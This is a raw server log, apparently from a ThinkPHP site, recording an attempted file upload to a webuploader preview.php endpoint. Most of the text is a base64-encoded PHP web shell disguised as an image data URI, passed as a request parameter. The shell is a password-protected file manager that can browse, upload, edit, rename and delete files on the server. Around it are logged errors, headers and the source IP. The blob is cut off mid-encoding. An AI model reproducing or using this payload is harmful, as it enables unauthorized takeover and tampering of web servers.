9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:56+08:00 ] 119.42.146.234 POST 51tianwei.com/js/webuploader/0.1.15/server/preview.php [运行时间:0.002687s] [吞吐率:372.17req/s] [内存消耗:196.64kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWU